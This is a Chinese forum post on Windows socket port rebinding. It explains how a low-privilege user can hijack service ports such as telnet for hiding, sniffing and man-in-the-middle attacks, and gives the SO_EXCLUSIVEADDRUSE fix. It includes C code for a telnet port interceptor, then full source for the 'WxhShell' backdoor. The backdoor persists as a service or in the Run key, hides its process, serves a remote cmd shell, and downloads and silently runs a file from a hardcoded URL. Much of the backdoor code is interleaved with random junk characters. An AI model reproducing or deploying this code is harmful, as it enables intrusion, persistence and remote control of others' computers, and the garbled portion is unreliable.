[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; 0 @#Jz#?
if(chr[0]==0xd || chr[0]==0xa) { oPs asa
pwd=0; B4un6-<i
break; f=91 Z_M
} ,$!fyi[;C
i++; =A5i84y.2u
} #^RIp>NN9
$zOV*O2
// 如果是非法用户，关闭 socket N=u( 3So
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qf K gNZ
} 7J3A]>qU
=eY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +ase>'<N#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8o:h/F
Jhj ]`$J
while(1) { n5"i'o{w
hD#Mhy5h
ZeroMemory(cmd,KEY_BUFF); #.u&2eyqQ
{KSLB8gtL
// 自动支持客户端 telnet标准 roZn{+f
j=0; F$i50s
while(j<KEY_BUFF) { yx#!2Z0hw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V+y|C[A F
cmd[j]=chr[0]; gGNo!'o
if(chr[0]==0xa || chr[0]==0xd) { b:9"nALgC
cmd[j]=0; KOR*y(*8
break; d3a!s
} 0<uL0FOT
j++; KYkS^v
} rk%pA-P2
!JdZ0l
// 下载文件 0Bgj.?l
if(strstr(cmd,"http://")) { a:P+HU:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %d:cC:`
if(DownloadFile(cmd,wsh)) q !}~c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vZQraY nJ
else R,.qQF\*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O\q6T7bfRW
} !*DYdqQ/
else { }`Wo(E}O
>G1]#'6;
switch(cmd[0]) { <b~~X`Z
7&etnQJ{
// 帮助 CNV^,`FX
case '?': { {y{O ze
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); on hLhrZ
break; mb_6f:Qh3
} DIYR8l}x
// 安装 \*5z0A9)5)
case 'i': { S^1ZsD.
if(Install()) ??Urm[Y.Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,VLQbtg
else `E;xI v|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uYO$gRem
break; -m,Y6
} I<W<;A
// 卸载 kN*I_#
case 'r': { ?w'03lr%
if(Uninstall()) owa&HW/_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOz {spA
else H9;IA>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQ ]ZMc
break; yz>S($u
} 1.,KN:qe
// 显示 wxhshell 所在路径 t\:=|t,
case 'p': { <2O#!bX1
char svExeFile[MAX_PATH]; "\lOOp^-
strcpy(svExeFile,"\n\r"); *k&V;?x|wt
strcat(svExeFile,ExeFile); 6[FXgCb
send(wsh,svExeFile,strlen(svExeFile),0); <D& Ep
break; V~8]ag4
} lRS'M,/
// 重启 %IIFLlD
case 'b': { iig4JP'h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _`*G71PS
if(Boot(REBOOT)) //3fgoly
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"V}Wq ?I
else { lwG)&qyVd
closesocket(wsh); rw 2i_,.*~
ExitThread(0); B}zBbB
} :rk6Stn$z
break; Ii3F|Vb G
} 1#|lt\T
// 关机 O|Y`:xvc
case 'd': { y9T5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f6(1jx"
if(Boot(SHUTDOWN)) 7^!iGhI]r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xqDz*V/mD
else { $PlMyLu7jc
closesocket(wsh); ;xFB /,
ExitThread(0); /A>nsN?:]
} 6c>:h)?
break; <RbsQ^U
} ^VnnYtCRz
// 获取shell .|P :n'
case 's': { S%?%06$
CmdShell(wsh); ?hrz@k|
closesocket(wsh); }YiFiGf,
ExitThread(0); Te3 ?z
break; y(a>Y! dgU
} all2?neK
// 退出 ([SJ6ff]&
case 'x': { ,1t|QvO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2/F8kVx{
CloseIt(wsh); '"hSX=
break; A58P$#)?
} IW}Wt{'m
// 离开 @eESKg(,
case 'q': { 6\UIp#X
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t8lGC R
closesocket(wsh); ,l,q;]C%
WSACleanup(); "fN 6_*
exit(1); oBnes*
break; YJDJj x
} qx0F*EH|
} A[F@rUZp
} 0a!|*Z
W8-vF++R
// 提示信息 BNO+-ob-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X-CoC
} |NTqJ j
} oZL# *Z(h
"ChJR[4@
return; lQRtsmZ0
} w}97`.Kt!n
D)[(
// shell模块句柄 pOB<Bx5t
int CmdShell(SOCKET sock) K|D1
{ ^@Qc!(P
STARTUPINFO si; XQOM6$~,
ZeroMemory(&si,sizeof(si)); }:s.m8LC5n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xe\v6gbD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #Hl?R5
PROCESS_INFORMATION ProcessInfo; <|E*aR|M
char cmdline[]="cmd"; VTX6_&Hc1g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ssH[\i
return 0; z63y8
} oe=1[9T"
s=K?-O
// 自身启动模式 u{sb^cmy
int StartFromService(void) 8RVRfy,w
{ oykb8~u}}
typedef struct 5CfD/}{:#I
{ _0ZBG(
DWORD ExitStatus; (7$BF~s:,
DWORD PebBaseAddress; Nn?$}g
DWORD AffinityMask; *vqUOh
DWORD BasePriority; l?xd3Z@7[
ULONG UniqueProcessId; Bq-}BN?pz
ULONG InheritedFromUniqueProcessId; vr6YE;Rs
} PROCESS_BASIC_INFORMATION; /z}b1m+
@W,<8
PROCNTQSIP NtQueryInformationProcess; `Hu2a]e9
:/"5x
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iMV=R2t 2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZC^NhgX
PH^Gjm
HANDLE hProcess; (bB"6 #TI
PROCESS_BASIC_INFORMATION pbi; AW!A+?F6
iG=Di)O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #D ]CuSi
if(NULL == hInst ) return 0; ,.|/B^jV
Q/h-Khmz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U+["b-c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m !i`|]m
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 =G=4{q
j0{Qy;wP )
if (!NtQueryInformationProcess) return 0; >V\^oh)t]t
hL}ZPHA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cT;Zz5
if(!hProcess) return 0; *|@386\
$e uI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T_9o0Qk
mGJRCK_
CloseHandle(hProcess); "];@N!dA
l<7SB5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1FT3d
if(hProcess==NULL) return 0; Pl2eDv-y
bg)}-]u]
HMODULE hMod; *!dA/sid
char procName[255]; zXbA$c
unsigned long cbNeeded; Tv 5J
*=T(ncR['
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NnU`u.$D
vWa\8yf
CloseHandle(hProcess); |goK@<
% w
if(strstr(procName,"services")) return 1; // 以服务启动 Fw}|c
J`{o`>
return 0; // 注册表启动 n@q-f-2
} }O| 9Qb
<jM { <8-
// 主模块 d..JW{
int StartWxhshell(LPSTR lpCmdLine) _qo\E=E
{ i1bmUKZ8'L
SOCKET wsl; uotW[L9
BOOL val=TRUE; }-u%6KZ
int port=0; cF?0=un
struct sockaddr_in door; )V_;]9<wt
6)20%*[
if(wscfg.ws_autoins) Install(); +m/n~-6q
M9Nr/jE
port=atoi(lpCmdLine); :l?mNm5
U;!J(Us
if(port<=0) port=wscfg.ws_port; R-wz+j#
OEC/'QOae
WSADATA data; !?+q7U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IcGX~zWr
Vobq|Rd/%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .;l`VWP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o)R<sT
door.sin_family = AF_INET; n.C5w8f
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H/={RuU
door.sin_port = htons(port); sNP ;
( 5uSqw&U
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Fq:G) $
closesocket(wsl); 8Kk41=
return 1; %}XyzGq{
} |>.</68Z
`46.!
if(listen(wsl,2) == INVALID_SOCKET) { GJs~aRiz
closesocket(wsl); -8<vWe
return 1; @~UQU)-(
} HIC!:|
Wxhshell(wsl); >Q?8tGfB
WSACleanup(); }Gy M<!:
XP?)xDr8
return 0; GQQp(%T
1EWZA
} PrA(==FX/
=q`T|9v
// 以NT服务方式启动 Gzg3{fXl
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !ab ef.%:
{ i$<")q
DWORD status = 0; ou<,c?nNM
DWORD specificError = 0xfffffff; >mG64N
a;M{-G
serviceStatus.dwServiceType = SERVICE_WIN32; Fop +xR,Z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,LxkdV
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TY'61xWi
serviceStatus.dwWin32ExitCode = 0; IOY7w"|LW
serviceStatus.dwServiceSpecificExitCode = 0; /SQ/$`1{
serviceStatus.dwCheckPoint = 0; WIpV'F|t]`
serviceStatus.dwWaitHint = 0; fGRV]6?V
4"\cA:9a
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5NH4C
if (hServiceStatusHandle==0) return; 4-Jwy
K>b4(^lf
status = GetLastError(); G#^0Bh&
if (status!=NO_ERROR) kRBO]
{ =;b3i1'U
serviceStatus.dwCurrentState = SERVICE_STOPPED; xgpf2y!{
serviceStatus.dwCheckPoint = 0; 3JkdPh
serviceStatus.dwWaitHint = 0; a/1;|1a.
serviceStatus.dwWin32ExitCode = status; ;[(d=6{hc]
serviceStatus.dwServiceSpecificExitCode = specificError; sf->8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bx#=$ka
return; \<09.q<8
} 2gMG7%d
GNq f
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4l68+
serviceStatus.dwCheckPoint = 0; M}f(-,9
serviceStatus.dwWaitHint = 0; CjP<'0gT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r@bh,U$
} $bFK2yx?=
zNdkwj p+
// 处理NT服务事件，比如：启动、停止 F*r)
VOID WINAPI NTServiceHandler(DWORD fdwControl) kfT*G +l]
{ s(J>yd=
switch(fdwControl) oD1k7Gq1
{ Xc}XRKiy{
case SERVICE_CONTROL_STOP: <c:H u{D
serviceStatus.dwWin32ExitCode = 0; evYn}
serviceStatus.dwCurrentState = SERVICE_STOPPED; o)^Wz
serviceStatus.dwCheckPoint = 0; jX(hBnGW
serviceStatus.dwWaitHint = 0; ( }Bb=~
{ GQ>0E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~1[n@{*:(
} Hbd>sS
return; w`V6vYd@
case SERVICE_CONTROL_PAUSE: .R'M'a#*!A
serviceStatus.dwCurrentState = SERVICE_PAUSED; Y0A(-"
break; ;FRUB@:
case SERVICE_CONTROL_CONTINUE: uLWu. Vx
serviceStatus.dwCurrentState = SERVICE_RUNNING; .kn2M&P>=
break; a#;;0R $
case SERVICE_CONTROL_INTERROGATE: |5O>7~Tp
break; $~W5! m
}; }u=Oi@~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2+Vt=*
} .9PT)^2
) ba~7A
// 标准应用程序主函数 lv'WRS'}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g$?^bu dxv
{ Q{L:pce-
l:uQ#Z)
// 获取操作系统版本 x3+{Y
OsIsNt=GetOsVer(); ^879sI
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6w,"i#E!
WKlyOK=}
// 从命令行安装 kP ,8[r
if(strpbrk(lpCmdLine,"iI")) Install(); [H>u'fy:C
'wG1un;t
// 下载执行文件 wlaPE8Gc
if(wscfg.ws_downexe) { "QxULiw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r]Wt!oHm5
WinExec(wscfg.ws_filenam,SW_HIDE); n$r`s`}
} #S'uqP!
>RAg63!`
if(!OsIsNt) { 4n7Kz_!SVf
